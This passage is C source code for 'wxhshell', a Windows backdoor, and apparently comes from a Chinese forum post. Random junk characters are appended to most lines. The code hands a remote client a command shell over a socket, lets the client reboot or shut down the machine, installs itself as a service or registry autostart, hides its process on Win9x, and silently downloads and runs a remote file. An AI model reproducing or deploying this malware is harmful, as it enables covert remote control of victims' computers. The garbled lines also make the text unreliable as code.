  3]h*6 V1$  
  // 帮助 e#(X++G  
  case '?': { `_!R;f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `NCH^)  
    break; Dr5AJ`y9A  
  } >\[|c  
  // 安装 PLRMW 2  
  case 'i': { }-~LXL%!3  
    if(Install()) Rk!8eN Pf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vfdTGM`3  
    else a([8r- zP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U\i7'9w]3  
    break; 70.Tm#qh  
    } Ch73=V  
  // 卸载 g9gi7.'0  
  case 'r': { remRm Y?  
    if(Uninstall()) T+41,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Z<x r  
    else @@H?w7y?&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,&G !9}EC  
    break; Lm*PHG  
    } \e~5Dx1  
  // 显示 wxhshell 所在路径 WkDXWv\{,{  
  case 'p': { W^)'rH  
    char svExeFile[MAX_PATH]; 6@FGt3y  
    strcpy(svExeFile,"\n\r"); I-m Bj8^;  
      strcat(svExeFile,ExeFile); </D )i  
        send(wsh,svExeFile,strlen(svExeFile),0); 6UM1>xq9A  
    break; /i(R~7;?  
    } ##nC@h@  
  // 重启 yaYJmhG  
  case 'b': { xc,Wm/[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J$i.^|hE/  
    if(Boot(REBOOT)) GezMqt;2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^/~C\ (  
    else { ;),vUu,k  
    closesocket(wsh); GQDW}b8  
    ExitThread(0); A+hA'0isF@  
    } aUq 2$lw1  
    break; Dq+S'x~>  
    } Rw)=<XV)6  
  // 关机 (e4 #9  
  case 'd': { Y|ErVf4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wY"BPl]b  
    if(Boot(SHUTDOWN)) F8|m i`f-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2yV^'o)  
    else { P4fnBH4OQ  
    closesocket(wsh); mI5!rrRD|  
    ExitThread(0); 2^y*O  
    } D+y?KihE  
    break; Hz j%G>  
    } cVl i^*se  
  // 获取shell GOD{?#c$  
  case 's': { [F 24xC+  
    CmdShell(wsh); g0#w 4rGF)  
    closesocket(wsh); i?f;C_w  
    ExitThread(0); !V-(K_\t  
    break; >Q:h0b_$U  
  } U04&z 91"  
  // 退出 W0<2*7s  
  case 'x': {  vUR gR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xn02p,,  
    CloseIt(wsh); pO)5NbU  
    break; kAq#cLprG  
    } }8'b}7!  
  // 离开 6[-[6%o#z  
  case 'q': { ,n$NF0^l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &Qq|  
    closesocket(wsh); U#|6n ,  
    WSACleanup(); B7PdavO#  
    exit(1); "(Nt9K%P)  
    break; K94bM5O 1  
        } 1p8hn!V  
  } T\"-q4+=C  
  } (wf3HEb_  
j<)`|?@e(  
  // 提示信息 sfk;c#K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *!ecb1U5  
} ZFs xsg^r  
  } >4J(\'}m|  
xtut S  
  return; ~SS3gLv  
} q@1xYz:J  
<GLn!~Px@5  
// shell模块句柄 .-)kIFMi  
int CmdShell(SOCKET sock) iXL?ic  
{ xNjWo*y v  
STARTUPINFO si; ?C']R(fQ\  
ZeroMemory(&si,sizeof(si)); +[}<u--  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k; >Vh'=X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D 4sp+   
PROCESS_INFORMATION ProcessInfo; <6+T&Ov6  
char cmdline[]="cmd"; bnJ4Edy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7&u$^c S(  
  return 0; WEtPIHruyt  
} !|8"}ZF  
&@=W+A=c~  
// 自身启动模式 J?Oeuk~[D  
int StartFromService(void) qG +PqK;  
{ J~C=o(r  
typedef struct U$ ;UW3-  
{ -b|"%e<'  
  DWORD ExitStatus; R2JPLvs  
  DWORD PebBaseAddress; =_CH$F!U  
  DWORD AffinityMask; 45&Rl,2  
  DWORD BasePriority; {C0Y8:"`  
  ULONG UniqueProcessId; [&kz4_  
  ULONG InheritedFromUniqueProcessId; d4p6.3  
}   PROCESS_BASIC_INFORMATION; v-wZHkdd1  
GJ F &id  
PROCNTQSIP NtQueryInformationProcess; MjWxfW/  
J|vg<[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =.w~qL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $hMD6<e  
Cj$:TWYIh[  
  HANDLE             hProcess; dsH*9t:z  
  PROCESS_BASIC_INFORMATION pbi; TFAR>8Nm  
VfozqUf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '8[; m_S  
  if(NULL == hInst ) return 0; Tgh?=]H  
-hc8IS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v0?SN>fZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vmh>|N4a7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $ Ggnn#  
3W{ !\  
  if (!NtQueryInformationProcess) return 0; 9E NI%Jz  
{h PB%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UZ#oaD8H6  
  if(!hProcess) return 0; Vf<q-3q  
;e< TEs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %NM={X|'  
ci/qm\JI<<  
  CloseHandle(hProcess); D$@2H>.-  
D c;k)z=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .(3ec/i4CF  
if(hProcess==NULL) return 0; 4c[/%e:\-  
Y6Ux*vhK  
HMODULE hMod; Cy)N hgz  
char procName[255]; i<):%[Q)>  
unsigned long cbNeeded; 9Q!Z9n"8~)  
tzv4uD]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _GrifGU\  
:wG )  
  CloseHandle(hProcess); kdp^{zW}  
#Ge_3^'  
if(strstr(procName,"services")) return 1; // 以服务启动 i,S1|R  
xaVn.&Wl  
  return 0; // 注册表启动 r?!:%L  
} BC\W`K  
"eqzn KT%u  
// 主模块 'GT^araz  
int StartWxhshell(LPSTR lpCmdLine) '#=0q  
{ %V+"i_{m  
  SOCKET wsl; &FuL {YL  
BOOL val=TRUE; b%vIaP|]B  
  int port=0; Sc/$ 2gSG  
  struct sockaddr_in door; <XQwu*_\  
(m6V)y  
  if(wscfg.ws_autoins) Install(); [cco/=c  
lcy<taNu)  
port=atoi(lpCmdLine); j9l32<h7]  
3 ^K#\*P  
if(port<=0) port=wscfg.ws_port; Ga-cto1Y  
cpALs1j:  
  WSADATA data; ch25A<O<R.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #9Ect@?N0  
V1pBKr)v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4 Yv:\c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l1KgPRmEP  
  door.sin_family = AF_INET; +cSc0:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {dm>]@"S  
  door.sin_port = htons(port); ~KYzEqy  
wc. =`Me  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iy_Y!wZ{  
closesocket(wsl); Pq8oK'z -  
return 1; z;F HZb9t,  
} O"Nr$bS(Y  
RRV%g!  
  if(listen(wsl,2) == INVALID_SOCKET) { k!}(a0h  
closesocket(wsl); 8A.7q  
return 1; EmR82^_:  
} =&,T@5&-=  
  Wxhshell(wsl); #o7)eKeQ  
  WSACleanup(); \"))P1  
`GdH ,:S>  
return 0; {Dk!<w I)  
d;]m wLB0  
} E #B$.K  
J-<_e??  
// 以NT服务方式启动 /I!62?)-*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6 /5,n0  
{ Bv!{V)$  
DWORD   status = 0; Wbei{3~$Y"  
  DWORD   specificError = 0xfffffff; 8'jt59/f  
ENIg_s4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q4&! mDU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A[ncwJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jC4>%!{m  
  serviceStatus.dwWin32ExitCode     = 0; lwrh4<~\,*  
  serviceStatus.dwServiceSpecificExitCode = 0; r)>3YM5  
  serviceStatus.dwCheckPoint       = 0; B^r?N-Z A  
  serviceStatus.dwWaitHint       = 0; iw3\`,5   
=CJ`0yDQ>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }7(+#ISK6  
  if (hServiceStatusHandle==0) return; PfRA\  
*1{A'`.=\  
status = GetLastError(); v/9ZTd  
  if (status!=NO_ERROR) GWWg3z.o"W  
{ e15yDwvB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z<%bNnSO  
    serviceStatus.dwCheckPoint       = 0; c:u*-lYmK%  
    serviceStatus.dwWaitHint       = 0; eZqEFMBTm  
    serviceStatus.dwWin32ExitCode     = status; ZY]$MZf5yo  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^4+NPk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kN Ll|in@  
    return; 6PYt>r&TO  
  } cWZITT{A  
tWTHyL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #~)A#~4O  
  serviceStatus.dwCheckPoint       = 0; _.Hj:nFHz  
  serviceStatus.dwWaitHint       = 0; `;+x\0@<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kSzap+nB?  
} GEF's#YWK  
j?m(l,YD|*  
// 处理NT服务事件,比如:启动、停止 N%}J:w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xb3G,F  
{ wbAwmOiZ  
switch(fdwControl) Gd_0FF.  
{ ,v K%e>e&  
case SERVICE_CONTROL_STOP: {VW\EOPV~  
  serviceStatus.dwWin32ExitCode = 0; L6PgWc;m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yuBRYy#E|%  
  serviceStatus.dwCheckPoint   = 0; k>mXh{ (  
  serviceStatus.dwWaitHint     = 0; -Pp{aF e  
  { Zf3(! a[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2A; i  
  } jI7 x<=  
  return; 'g)f5n a[  
case SERVICE_CONTROL_PAUSE: :?\29j#*V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J<"K`|F  
  break; 5>.ATfAsV  
case SERVICE_CONTROL_CONTINUE: Ie/_gz^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gfj_]  
  break; Lw,}wM5X  
case SERVICE_CONTROL_INTERROGATE: {l,&F+W$C  
  break; LYECX  
}; v#&;z_I+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Y4 z  
} j0}wv~\  
kD)31P  
// 标准应用程序主函数 b4cTn 6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7>y]uT@ar  
{ v4s4D1}  
bWp:!w#K  
// 获取操作系统版本 W ,6q1  
OsIsNt=GetOsVer(); iv_3R}IbX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JI]Lz1i  
9!n95  
  // 从命令行安装 z2YYxJ c&w  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9DhM 9VU  
ygnZ9ikh<-  
  // 下载执行文件 hRX9Du`$  
if(wscfg.ws_downexe) { 0.x+ H9z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1[O cZ CS  
  WinExec(wscfg.ws_filenam,SW_HIDE); DZ2gnRg  
} U<0Wa>3zj  
,]wQ]fpt  
if(!OsIsNt) { >8I~i:hn  
// 如果时win9x,隐藏进程并且设置为注册表启动 3]?='Qq.(  
HideProc(); Ebs]]a>PO  
StartWxhshell(lpCmdLine); "zJxWXI  
} k1xx>=md|C  
else 1a(\F 7  
  if(StartFromService()) 2~f*o^%l  
  // 以服务方式启动 KPO w  
  StartServiceCtrlDispatcher(DispatchTable); E/oLE^yL  
else -c?x5/@3  
  // 普通方式启动 N.q~\sF^  
  StartWxhshell(lpCmdLine); #)7`}7N  
=@M9S  
return 0; z3i`O La  
}
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只看该作者 1 发表于: 2006-10-10
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